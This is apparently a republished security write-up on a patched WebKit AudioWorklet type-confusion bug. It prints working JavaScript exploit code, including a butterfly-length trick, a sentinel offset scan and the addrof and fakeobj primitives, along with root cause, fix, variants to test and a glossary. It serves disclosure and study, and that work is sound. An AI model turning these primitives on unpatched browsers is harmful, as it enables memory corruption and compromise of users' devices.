Most JavaScript exploits start by building two handy primitives: addrof and fakeobj. The former returns the address of any JavaScript object, and the latter allows any address to be treated as a JavaScript object. Most of the challenge in exploiting a JavaScript bug is in constructing these two functions, because there are well-known techniques to build exploits on top of them. The write-up points to the Project Zero post "JITSploitation II: Getting Read/Write" for that.

The current proof of concept creates a float array with a butterfly pointing into the fastMalloc heap. fastMalloc is WebKit's general-purpose memory allocator. This sounds promising, but there is a catch: the 4 bytes before the butterfly address store the length of the butterfly's elements. With the current proof of concept, this value is often zero, so the corrupted array is mostly useless. This could likely be solved by first spraying objects in the WebKit heap and hoping a nonzero value remains in this position. Spraying means allocating many objects to fill memory with chosen values. While playing with this idea, the researchers stumbled on an easy way to directly fully control this fake butterfly length:

JavaScript
registerProcessor("a", class {
  constructor() {
    // this part is magic:
    // put 0xfffe000000001337 just before the new allocation to fake the butterfly sizes
    eval('1 + 0x1336');

    // overwrite a1's butterfly with a fastMalloc pointer
    return {fill: 1, wrapped: a0};
  }
});

Line by line:

  • constructor() { defines its constructor.
  • // this part is magic: and // put 0xfffe000000001337 just before the new allocation to fake the butterfly sizes are comments explaining the trick.
  • eval('1 + 0x1336'); runs a small piece of code through eval, which executes a string as JavaScript. The result of the addition is a number whose in-memory representation places the bytes 0xfffe000000001337 just before the next allocation, faking the butterfly length.
  • return {fill: 1, wrapped: a0}; triggers the overwrite as before.

With that issue fixed, the exploit can now read and write to a large region of the heap using the elements of a1. There are surely many ways to proceed, but the most direct approach found was to repeat the above procedure for a second pair of arrays b0 and b1. This points b1's butterfly into the heap just beyond a1's new butterfly. The offset between the butterflies can be found by writing a sentinel value into b1[0] and scanning through the elements of a1 until the value is found. A sentinel is a distinctive marker value used to find a location.

JavaScript
b1[0] = kSentinel;
// scan for the sentinel to find the offset from the two butterflies
for (var i = 0; i < a1.length; i++) {
  if (bigint2float(unboxDouble(float2bigint(a1[i]))) == kSentinel) {
    offset = i;
    break;
  }
}

Line by line:

  • b1[0] = kSentinel; writes the marker value into the first element of b1.
  • // scan for the sentinel to find the offset from the two butterflies is a comment.
  • for (var i = 0; i < a1.length; i++) { loops over every index of a1.
  • if (bigint2float(unboxDouble(float2bigint(a1[i]))) == kSentinel) { reads a1[i] and converts it through several helper functions (float2bigint, unboxDouble, bigint2float) so it can be compared with the sentinel. If they match, the same memory is visible through both arrays.
  • offset = i; records the index where the match was found.
  • break; stops the loop.
  • } closes the if, and } closes the loop.
butterfly heap layout
butterfly heap layout From the original on blog.theori.io

The image shows the heap layout: b1's butterfly sits just beyond a1's new butterfly, and the scan finds the offset between them.

With this offset found, a1[offset] and b1[0] refer to the same address in the heap. By setting up a1 as an unboxed double array and b1 as a boxed array, the same memory can be viewed through two different lenses, which is essentially what fakeobj and addrof need to do. A boxed array stores JavaScript values (which carry type tags), while an unboxed double array stores raw numbers.

JavaScript
function addrof(val) {
  b1[0] = val;
  return float2bigint(a1[offset]);
}

function fakeobj(addr) {
  a1[offset] = bigint2float(addr);
  return b1[0];
}

Line by line:

  • function addrof(val) { defines a function that takes a JavaScript value and returns its address.
  • b1[0] = val; stores the value in the boxed array, so the memory now holds the value's internal representation.
  • return float2bigint(a1[offset]); reads the same memory through the double array and converts the raw bits into a big integer, which is the address.
  • } closes the function.
  • function fakeobj(addr) { defines a function that takes an address and returns a JavaScript object living there.
  • a1[offset] = bigint2float(addr); writes the address, converted to a float, into the shared memory location.
  • return b1[0]; reads it back through the boxed array, so the engine now treats that address as a JavaScript value.
  • } closes the function.

With these in place, arbitrary read and write are straightforward to implement (again, see the Project Zero post). In short, inline properties can be used to forge a fake unboxed double array with a butterfly pointing at an object of choice. Then, array accesses can read and modify the internal state of other objects. This gives a StructureID leak, which allows for arbitrary fake object forgery and even stronger read/write primitives. A StructureID is the identifier JavaScriptCore uses for an object's shape (its set of properties and their types); leaking it helps forge convincing fake objects.

Cleanup

Recall that the original type confusion bug was only used to set up the corrupted a1 and b1 arrays; the primitives no longer rely on triggering the bug. However, this setup has badly corrupted some objects in a way that could cause crashes during garbage collection. Garbage collection (GC) is the automatic process that frees memory no longer in use. Specifically:

  1. Two arrays (a1 and b1) have butterfly pointers into the wrong heap, which may cause issues if they are released.
  2. Two arrays (a0 and b0) are being held as RefPtr<AudioWorkletProcessor>, so their "refcounts" have been incremented. This has corrupted their cell header's StructureID, which will lead to a crash during GC.

Thankfully these are both straightforward to correct using the read/write method above. After doing this, the exploit primitives are stable and can be used as part of an exploit chain. An exploit chain is a sequence of bugs and techniques combined to reach a goal.

Next steps: PAC bypass

Getting truly arbitrary code execution requires bypassing PAC. PAC (Pointer Authentication Code) is a hardware mitigation on Apple's chips: pointers are signed with a cryptographic code, so an attacker who overwrites a pointer cannot easily make it point somewhere useful without forging the signature. Although this mitigation is still rarely a bottleneck for attackers, bypasses should nonetheless be considered security bugs in their own right. The write-up leaves this part as an exercise to the reader.

Root cause

The registered processor constructor is called through JSC::construct, and its return value is cast with JSC::jsCast<JSAudioWorkletProcessor*> without any check that the returned object actually is a JSAudioWorkletProcessor. jsCast is an unchecked cast, so any JavaScript object returned by the constructor is treated as a JSAudioWorkletProcessor, and its m_wrapped field at offset 0x18 is dereferenced as an AudioWorkletProcessor. The subsequent setProcessCallback then writes a JSCallbackDataStrong pointer to offset 0x18 of whatever m_wrapped points at, and the returned RefPtr increments the first 8 bytes of that same object.

The cast itself performs no runtime type check, and the surrounding code only asserts that an exception and a null object are consistent. The write lands in the fastMalloc heap, which is not Gigacaged. The Gigacage is a reserved 32GB region of virtual memory used for heaps that hold user data arrays such as Array or ArrayBuffer storage; it is intended to keep out-of-bounds accesses away from sensitive data outside the cage. The unique_ptr destructor on the overwritten value is a hazard rather than a mitigation, and the exploit works around it by zeroing the first array indices.

Impact

The type confusion can be triggered through the AudioWorklet processor constructor and, from there, build addrof and fakeobj primitives, arbitrary read and write over the WebKit heap, and a StructureID leak. The write-up stops short of full code execution: that requires a PAC bypass, which is left as an exercise to the reader. The exploit worked as of iOS 14.6 and macOS 11.4, and new vulnerable iOS versions were being shipped nearly 3 weeks after the patch went public, so the practical exposure is patch gapping: a newly released version of iOS remained vulnerable weeks after the patch was public. Patch gapping is the window between a fix becoming public and users actually receiving it; during that window, attackers can study the fix and attack anyone still unpatched.

Fix

The patch adds the missing type check via jsDynamicCast, which returns nullptr if the object is not of the desired type. The diff is shown in full in the "Finding it" section above. The write-up's conclusion is that the window of time between a public patch and a stable release should be as small as possible; in this case a newly released version of iOS remained vulnerable weeks after the patch was public.

Variants to test

  1. Other IDL-generated wrappers whose constructors or callbacks return a JavaScript object that is cast without a check. A positive result is a crash from a constructor returning a plain object, followed by a controllable write at the wrapper's m_wrapped offset.
  2. Other jsCast call sites reachable from JavaScript where the cast target is a JSDOMWrapper subclass. A positive result is a type-confused wrapped() access on an object of a different type.
  3. Heap layouts where a small object (16 bytes or less, such as JSArray) follows the confused object, so the 0x18 write lands in the next object's header. A positive result is a corrupted butterfly pointer on the following array.
  4. Butterfly length control via allocation adjacency, as with the eval('1 + 0x1336') trick. A positive result is a nonzero, attacker-chosen length in the 4 bytes before the fake butterfly.
  5. Garbage collection after corruption. A positive result is a crash from a corrupted StructureID or a butterfly pointer into the wrong heap, which the cleanup step is meant to prevent.
  6. PAC bypass on top of the read/write primitives. A positive result is control of a code pointer despite pointer authentication.

Glossary

  • API: a set of rules a program offers so other programs can use it, like a menu.
  • AudioWorklet: a WebAudio feature that runs audio-processing JavaScript in a background thread.
  • Attack surface: the set of places where an attacker can interact with a program.
  • Bit: a single binary digit, 0 or 1; eight bits make a byte.
  • Boxed array: an array that stores JavaScript values with type tags.
  • Butterfly: JavaScriptCore's separate block of memory holding an array's elements.
  • Byte: eight bits; memory is measured in bytes.
  • CodeQL: a tool for querying source code as a database.
  • Commit: a recorded change to a source code repository.
  • Constructor: the function that builds a new object.
  • Destructor: the function that runs when an object is destroyed.
  • Exploit: code that turns a bug into a useful capability.
  • Exploit chain: a sequence of bugs and techniques combined to reach a goal.
  • fastMalloc: WebKit's general-purpose memory allocator.
  • Garbage collection (GC): automatic freeing of memory no longer in use.
  • Gigacage: a reserved 32GB region of virtual memory used for heaps holding user data arrays.
  • Heap: the region of memory where a program allocates objects at runtime.
  • IDL: Interface Definition Language, a neutral way to describe an interface from which code is generated.
  • Inline properties: property values stored directly inside a small object rather than in a separate array.
  • JavaScriptCore (JSC): the part of WebKit that runs JavaScript.
  • Main thread: the thread that handles a page's clicks, scrolling and drawing.
  • Offset: a distance in bytes from the start of an object to a particular field.
  • PAC (Pointer Authentication Code): a hardware mitigation that signs pointers so they cannot easily be forged.
  • Patch: a change that fixes a bug.
  • Patch gapping: the window between a fix becoming public and users receiving it.
  • Primitive: a small, reliable capability used as a building block.
  • Proof of concept (PoC): a minimal demonstration that a bug can be triggered.
  • RefPtr: a smart pointer that reference-counts the object it points to.
  • Sentinel: a distinctive marker value used to find a location.
  • Spraying: allocating many objects to fill memory with chosen values.
  • Statically: analysing code without running it.
  • StructureID: the identifier JavaScriptCore uses for an object's shape.
  • Template: a blueprint that can be filled in with different types.
  • Type confusion: treating an object as a different kind of object than it really is.
  • Unboxed double array: an array that stores raw floating-point numbers.
  • unique_ptr: a smart pointer that exclusively owns its object.
  • WebAudio API: the browser API for building and processing audio graphs.
  • WebKit: the open-source browser engine that Safari is built on.
  • WebWorker: a way to run JavaScript off the main thread.

More by Theori

View all

3 more disclosed reports, best first.

More from Apple

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.